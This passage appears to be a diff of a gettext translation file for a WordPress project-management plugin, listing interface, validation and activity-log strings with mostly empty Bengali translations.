core/WP/Menu.php:48 +msgid "Tools" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:23 +msgid "Manager" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:25 +msgid "Manager is a person who manages the project." +msgstr "" + +#: db/seeds/RoleTableSeeder.php:33 +msgid "Co-Worker" +msgstr "" + +#: db/seeds/RoleTableSeeder.php:35 +msgid "Co-worker is person who works under a project." +msgstr "" + +#: src/Category/Validators/Create_Category.php:10 +#: src/Category/Validators/Update_Category.php:10 +msgid "Category title is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:11 +msgid "Category ID is required." +msgstr "" + +#: src/Category/Validators/Update_Category.php:12 +msgid "Category ID must be greater than zero" +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:10 +#: src/Comment/Validators/Update_Comment.php:10 +msgid "Comment title is required." +msgstr "" + +#: src/Comment/Validators/Create_Comment.php:11 +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 +#: src/Milestone/Validators/Create_Milestone.php:11 +#: src/Project/Validators/Update_Project.php:12 +#: src/Task/Validators/Create_Task.php:11 +#: src/Task_List/Validators/Create_Task_List.php:11 +msgid "Project ID is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:11 +msgid "Comment ID is required." +msgstr "" + +#: src/Comment/Validators/Update_Comment.php:12 +msgid "Comment ID must be greater than zero" +msgstr "" + +#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 +msgid "Discussion title is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 +msgid "Discussion ID is required." +msgstr "" + +#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 +msgid "Discussion ID must be greater than zero" +msgstr "" + +#: src/File/Controllers/File_Controller.php:100 +msgid "file not found" +msgstr "" + +#: src/Milestone/Validators/Create_Milestone.php:10 +#: src/Milestone/Validators/Update_Milestone.php:10 +msgid "Milestone title is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:11 +msgid "Milestone ID is required." +msgstr "" + +#: src/Milestone/Validators/Update_Milestone.php:12 +msgid "Milestone ID must be greater than zero" +msgstr "" + +#: src/Project/Controllers/Project_Controller.php:406 +msgid "The project has been marked as favorite" +msgstr "" + +#: src/Project/Controllers/Project_Controller.php:409 +msgid "The project has been removed from favorite" +msgstr "" + +#: src/Project/Validators/Create_Project.php:10 +#: src/Project/Validators/Update_Project.php:10 +#: views/assets/src/components/project-lists/project-create-form.vue:244 +#: views/assets/src/components/project-overview/mixin.js:26 +msgid "Project title is required." +msgstr "" + +#: src/Project/Validators/Create_Project.php:11 +#: src/Project/Validators/Update_Project.php:11 +msgid "Project title must be unique." +msgstr "" + +#: src/Project/Validators/Update_Project.php:13 +msgid "Project ID must be greater than zero" +msgstr "" + +#: src/Pusher/libs/action.php:50 +msgid "You've been assigned a new" +msgstr "" + +#: src/Pusher/libs/action.php:50 src/Pusher/libs/action.php:51 +#: src/Pusher/libs/action.php:219 src/Pusher/libs/action.php:300 +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +#: src/Pusher/libs/action.php:51 +msgid "You've assigned in" +msgstr "" + +#: src/Pusher/libs/action.php:92 src/Pusher/libs/action.php:93 +msgid "has been completed" +msgstr "" + +#: src/Pusher/libs/action.php:97 src/Pusher/libs/action.php:98 +msgid "has been re-opened" +msgstr "" + +#: src/Pusher/libs/action.php:158 +msgid "title" +msgstr "" + +#: src/Pusher/libs/action.php:160 +msgid "description" +msgstr "" + +#: src/Pusher/libs/action.php:162 views/emails/html/complete-task.php:35 +#: views/emails/html/new-task.php:24 views/emails/html/update-task.php:24 +msgid "due date" +msgstr "" + +#: src/Pusher/libs/action.php:165 src/Pusher/libs/action.php:166 +#: src/Pusher/libs/action.php:168 src/Pusher/libs/action.php:169 +#: src/Pusher/libs/action.php:476 +msgid "has been updated" +msgstr "" + +#: src/Pusher/libs/action.php:211 src/Pusher/libs/action.php:292 +#: texts/resource_types.php:11 +msgid "task list" +msgstr "কার্য তালিকা" + +#: src/Pusher/libs/action.php:225 src/Pusher/libs/action.php:305 +#: texts/resource_types.php:23 +msgid "file" +msgstr "" + +#: src/Pusher/libs/action.php:233 src/Pusher/libs/action.php:313 +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "আলোচনা বোর্ড" + +#: src/Pusher/libs/action.php:245 src/Pusher/libs/action.php:253 +msgid "commented on a" +msgstr "" + +#: src/Pusher/libs/action.php:325 +msgid "updated comment on a" +msgstr "" + +#: src/Pusher/libs/action.php:351 +msgid "updated his comment on a" +msgstr "" + +#: src/Pusher/libs/action.php:408 +msgid "started a new discussion on" +msgstr "" + +#: src/Pusher/libs/action.php:432 +msgid "You've got a new" +msgstr "" + +#: src/Pusher/libs/action.php:432 +msgid "messsage" +msgstr "" + +#: src/Pusher/libs/action.php:453 +msgid "updated discussion on a" +msgstr "" + +#: src/Role/Validators/Create_Role.php:10 +#: src/Role/Validators/Update_Role.php:10 +msgid "Role title is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:11 +msgid "Role ID is required." +msgstr "" + +#: src/Role/Validators/Update_Role.php:12 +msgid "Role ID must be greater than zero" +msgstr "" + +#: src/Search/Controllers/Search_Controller.php:84 +#: src/Search/Controllers/Search_Controller.php:127 views/assets/js/pm.js:9 +#: views/assets/src/components/project-files/files.vue:57 +#: views/assets/src/components/project-task-lists/lists.vue:206 +#: views/assets/src/components/project-task-lists/lists.vue:217 +#: views/assets/src/components/project-task-lists/lists.vue:999 +msgid "No results found." +msgstr "" + +#: src/Settings/Controllers/Settings_Controller.php:125 +msgid "Delete settings record" +msgstr "" + +#: src/Task/Controllers/Task_Controller.php:1275 +msgid "Copy " +msgstr "" + +#: src/Task/Helper/Task.php:96 views/assets/js/pm.js:9 +#: views/assets/src/components/my-tasks/complete-task.vue:7 +#: views/assets/src/components/my-tasks/current-task.vue:7 +#: views/assets/src/components/my-tasks/my-task-header.vue:20 +#: views/assets/src/components/my-tasks/my-tasks.vue:5 +#: views/assets/src/components/my-tasks/outstanding-task.vue:7 +#: views/assets/src/components/my-tasks/overview.vue:54 +#: views/assets/src/components/my-tasks/overview.vue:62 +#: views/assets/src/components/my-tasks/overview.vue:70 +#: views/assets/src/components/project-overview/overview.vue:58 +msgid "Tasks" +msgstr "" + +#: src/Task/Helper/Task.php:96 +msgid "Project Name" +msgstr "" + +#: src/Task/Helper/Task.php:97 views/assets/js/pm.js:9 views/assets/js/pm.js:34 +#: views/assets/src/components/common/list-filter.vue:63 +#: views/assets/src/components/my-tasks/current-task.vue:24 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/lists.vue:282 +#: views/assets/src/components/project-task-lists/new-task-form.vue:280 +msgid "Due Date" +msgstr "" + +#: src/Task/Helper/Task.php:97 +msgid "Created At" +msgstr "" + +#: src/Task/Validators/Create_Task.php:10 +#: src/Task/Validators/Update_Task.php:10 +msgid "Task title is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:11 +msgid "Task ID is required." +msgstr "" + +#: src/Task/Validators/Update_Task.php:12 +msgid "Task ID must be greater than zero" +msgstr "" + +#: src/Task_List/Validators/Create_Task_List.php:10 +#: src/Task_List/Validators/Update_Task_List.php:10 +msgid "Task list title is required." +msgstr "কার্য তালিকা" + +#: src/Task_List/Validators/Update_Task_List.php:11 +msgid "Task list ID is required." +msgstr "" + +#: src/Task_List/Validators/Update_Task_List.php:12 +msgid "Task list ID must be greater than zero" +msgstr "" + +#: texts/activities.php:6 +msgid "%1$s has created a project titled as %2$s." +msgstr "" + +#: texts/activities.php:10 +msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:14 +msgid "%1$s has updated %2$s project description." +msgstr "" + +#: texts/activities.php:18 +msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:22 +msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:26 +msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:30 +msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:34 +msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:40 +msgid "%1$s has created a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:44 +msgid "%1$s has deleted a discussion board titled as %2$s." +msgstr "" + +#: texts/activities.php:48 +msgid "" +"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:52 +msgid "%1$s has updated the description of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:56 +msgid "%1$s has updated the order of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:60 +msgid "%1$s has updated the status of a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:66 +msgid "%1$s has created a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:70 +msgid "%1$s has deleted a task list titled as %2$s." +msgstr "" + +#: texts/activities.php:74 +msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:78 +msgid "%1$s has updated the description of a task list, %2$s." +msgstr "" + +#: texts/activities.php:82 +msgid "%1$s has updated the order of a task list, %2$s." +msgstr "" + +#: texts/activities.php:86 +msgid "%1$s has archived a task list, %2$s." +msgstr "" + +#: texts/activities.php:90 +msgid "%1$s has restored a task list, %2$s." +msgstr "" + +#: texts/activities.php:96 +msgid "%1$s has created a milestone, %2$s." +msgstr "" + +#: texts/activities.php:100 +msgid "%1$s has deleted a milestone, %2$s." +msgstr "" + +#: texts/activities.php:104 +msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:108 +msgid "%1$s has updated the description of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:112 +msgid "%1$s has updated the order of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:116 +msgid "%1$s has updated the status of a milestone, %2$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has created a task, %2$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has deleted a task, %2$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the description of a task, %2$s." +msgstr "" + +#: texts/activities.php:138 +msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:142 +msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:146 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:150 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:154 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:158 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:162 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:166 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:172 +msgid "%1$s has commented on a task, %2$s." +msgstr "" + +#: texts/activities.php:176 +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "" + +#: texts/activities.php:180 +msgid "%1$s has deleted a comment on a task, %2$s." +msgstr "" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "" + +#: texts/activities.php:192 +msgid "%1$s has deleted a reply comment on a task, %2$s." +msgstr "" + +#: texts/activities.php:198 +msgid "%1$s has commented on a task list, %2$s." +msgstr "" + +#: texts/activities.php:202 +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "" + +#: texts/activities.php:206 +msgid "%1$s has deleted a comment on a task list, %2$s." +msgstr "" + +#: texts/activities.php:210 +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "" + +#: texts/activities.php:214 +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "" + +#: texts/activities.php:218 +msgid "%1$s has deleted a reply comment on a task list, %2$s." +msgstr "" + +#: texts/activities.php:224 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:228 +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:232 +msgid "%1$s has deleted a comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:236 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:240 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:244 +msgid "%1$s has deleted a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:250 +msgid "%1$s has commented on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:254 +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:258 +msgid "%1$s has deleted a comment on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:262 +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "" + +#: texts/activities.php:266 +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:270 +msgid "%1$s has deleted a reply comment on a milestone, %2$s." +msgstr "" + +#: texts/activities.php:276 +msgid "%1$s has commented on the project, %2$s." +msgstr "" + +#: texts/activities.php:280 +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "" + +#: texts/activities.php:284 +msgid "%1$s has deleted a comment on the project, %2$s." +msgstr "" + +#: texts/activities.php:288 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:292 +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "" + +#: texts/activities.php:296 +msgid "%1$s has deleted a reply comment on the project, %2$s." +msgstr "" + +#: texts/activities.php:302 +msgid "%1$s has commented on a file, %2$s." +msgstr "" + +#: texts/activities.php:306 +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "" + +#: texts/activities.php:310 +msgid "%1$s has deleted a comment on a file, %2$s." +msgstr "" + +#: texts/activities.php:314 +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "" + +#: texts/activities.php:318 +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "" + +#: texts/activities.php:322 +msgid "%1$s has deleted a reply comment on a file, %2$s." +msgstr "" + +#: texts/activities.php:328 +msgid "%1$s has duplicated project from, %2$s." +msgstr "" + +#: texts/activities.php:332 +msgid "%1$s has duplicated list from, %2$s." +msgstr "" + +#: texts/resource_types.php:5 +msgid "project" +msgstr "" + +#: texts/resource_types.php:17 +msgid "milestone" +msgstr "" + +#: texts/resource_types.php:20 +msgid "comment" +msgstr "" + +#: texts/success_messages.php:6 +msgid "A new project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A new category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "A task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "A task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "A task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +msgid "No elements found." +msgstr "" + +#: texts/success_messages.php:84 views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:369 +msgid "" +"Want to help make %1$s even more awesome? Allow %1$s to " +"collect non-sensitive diagnostic data and usage information." +msgstr "" + +#: vendor/appsero/client/src/Insights.php:374 +msgid "what we collect" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:381 +msgid "Allow" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:382 +msgid "No thanks" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:747 +msgid "If you have a moment, please let us know why you are deactivating:" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:762 +msgid "I rather wouldn't say" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:763 +msgid "Submit & Deactivate" +msgstr "" + +#: vendor/appsero/client/src/Insights.php:764 views/assets/js/pm.js:9 +#: views/assets/js/pm.js:34 +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/common/comment-form.vue:15 +#: views/assets/src/components/common/list-filter.vue:79 +#: views/assets/src/components/common/popup-modal.vue:174 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-overview/addNewUser.vue:52 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:15 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:31 +#: views/assets/src/components/project-task-lists/single-task.vue:268 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:15 +#: views/assets/src/components/settings/new-task-type-form.vue:26 +#: views/assets/src/components/settings/new-task-type-form.vue:35 +msgid "Cancel" +msgstr "" + +#: views/assets/js/library.js:1 views/assets/js/pm.js:1 +#: views/assets/src/components/categories/categories.vue:281 +#: views/assets/src/components/categories/mixin.js:182 +#: views/assets/src/components/common/comments.vue:436 +#: views/assets/src/components/project-discussions/mixin.js:511 +#: views/assets/src/components/project-overview/mixin.js:98 +#: views/assets/src/components/project-task-lists/list-comments.vue:436 +#: views/assets/src/components/project-task-lists/mixin.js:427 +#: views/assets/src/components/project-task-lists/mixin.js:659 +#: views/assets/src/components/project-task-lists/task-comments.vue:209 +msgid "Are you sure?" +msgstr "" + +#: views/assets/js/pm.js:1 +#: views/assets/src/components/project-milestones/mixin.js:316 +msgid "Are you sure you want to delete this milestones?" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/directive.js:84 +msgid "No users found." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/directive.js:85 +#: views/assets/src/components/project-lists/project-create-form.vue:128 +msgid "Create a new user" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +#: views/assets/src/components/project-overview/addNewUser.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +#: views/assets/src/components/project-overview/addNewUser.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +#: views/assets/src/components/project-overview/addNewUser.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +#: views/assets/src/components/project-overview/addNewUser.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:5 +msgid "- Project Category -" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-lists/project-create-form.vue:53 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/color-picker.vue:31 +#: views/assets/src/components/project-lists/project-create-form.vue:60 +msgid "Close" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "action" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/header.vue:25 +#: views/assets/src/components/project-lists/project-summary.vue:31 +msgid "Complete" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/header.vue:28 +#: views/assets/src/components/project-lists/project-summary.vue:34 +msgid "Restore" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Delete project" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:111 +#: views/assets/src/components/categories/categories.vue:163 +#: views/assets/src/components/common/comments.vue:39 +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:45 +#: views/assets/src/components/project-task-lists/completed-tasks.vue:48 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:91 +#: views/assets/src/components/project-task-lists/list-comments.vue:39 +#: views/assets/src/components/project-task-lists/lists.vue:172 +#: views/assets/src/components/project-task-lists/single-list.vue:52 +#: views/assets/src/components/project-task-lists/single-task.vue:75 +#: views/assets/src/components/project-task-lists/task-comments.vue:39 +#: views/assets/src/components/settings/task-type-item.vue:14 +msgid "Delete" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Project Description" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "No Description Found!" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-overview/directive.js:9 +#: views/assets/src/components/project-task-lists/single-task.vue:285 +msgid "Activity" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:219 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:32 +msgid "Discussions" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/list-drop-down.vue:42 +#: views/assets/src/components/common/menu.vue:230 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:47 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "কার্য তালিকা" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:56 +#: views/assets/src/components/project-overview/overview.vue:69 +msgid "Comments" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:252 +#: views/assets/src/components/project-overview/overview.vue:83 +msgid "Files" +msgstr "" + +#: views/assets/js/pm.js:9 views/assets/src/components/common/menu.vue:241 +#: views/assets/src/components/project-milestones/milestones.vue:21 +#: views/assets/src/components/project-overview/overview.vue:98 +msgid "Milestones" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-overview/overview.vue:108 +msgid "Last 30 days" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-overview/overview.vue:116 +msgid "Users" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-overview/overview.vue:119 +msgid "Add" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-activities/activities.vue:47 +msgid "Load More ..." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-activities/activities.vue:49 +msgid "No activities found." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-files/files.vue:31 +msgid "Attached to" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-files/files.vue:33 +msgid "by" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-files/files.vue:35 +msgid "admin" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/new-task-list-btn.vue:7 +msgid "New Task List" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:17 +msgid "- Milestone -" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:283 +msgid "Add Task" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Add New Task (Character limit 200)" +msgstr "নতুন টাস্ক যুক্ত করুন (চরিত্রের সীমা 200)" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/comment-form.vue:32 +#: views/assets/src/components/common/users-drop-down.vue:4 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:32 +#: views/assets/src/components/project-task-lists/new-task-form.vue:37 +#: views/assets/src/components/project-task-lists/single-task.vue:133 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:32 +msgid "Assign to" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Assign user" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/color-picker.vue:25 +#: views/assets/src/components/my-tasks/overview.vue:220 +#: views/assets/src/components/my-tasks/search-task.vue:226 +#: views/assets/src/components/project-task-lists/lists.vue:297 +msgid "Clear" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/new-task-form.vue:121 +#: views/assets/src/components/settings/header.vue:16 +msgid "Task Type" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/common/popup-modal.vue:175 +#: views/assets/src/components/my-tasks/my-tasks.vue:7 +msgid "Add New" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/move-task.vue:12 +msgid "Task: " +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Search Lists" +msgstr "" + +#: views/assets/js/pm.js:9 +msgid "Move Task" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:59 +#: views/assets/src/components/project-task-lists/lists.vue:720 +#: views/assets/src/components/project-task-lists/single-task.vue:68 +msgid "Make Private" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:65 +msgid "Make Public" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Duplicate" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/categories/categories.vue:110 +#: views/assets/src/components/common/comments.vue:33 +#: views/assets/src/components/project-discussions/discussions.vue:168 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:33 +#: views/assets/src/components/project-task-lists/lists.vue:166 +#: views/assets/src/components/project-task-lists/single-list.vue:46 +#: views/assets/src/components/project-task-lists/task-comments.vue:33 +#: views/assets/src/components/settings/task-type-item.vue:12 +msgid "Edit" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:84 +msgid "Move" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/list-tasks.vue:15 +#: views/assets/src/components/project-task-lists/list-tasks.vue:43 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:14 +#: views/assets/src/components/project-task-lists/single-list-tasks.vue:32 +msgid "More Tasks" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/list-tasks.vue:23 +msgid "Show Completed Task" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/list-tasks.vue:26 +msgid "Hide Completed Task" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/default-list-page.vue:6 +msgid "" +"You can list all your Tasks in a single discussion using a Task list. Use " +"these lists to divide a project into several sectors, assign co-workers and " +"check progress." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/default-list-page.vue:14 +msgid "When to use Task Lists?" +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/default-list-page.vue:17 +msgid "To partition a project internals." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/default-list-page.vue:18 +msgid "To mark milestone points." +msgstr "" + +#: views/assets/js/pm.js:9 +#: views/assets/src/components/project-task-lists/default-list-page.vue:19 +msgid "To assign people to tasks." +msgstr "" + 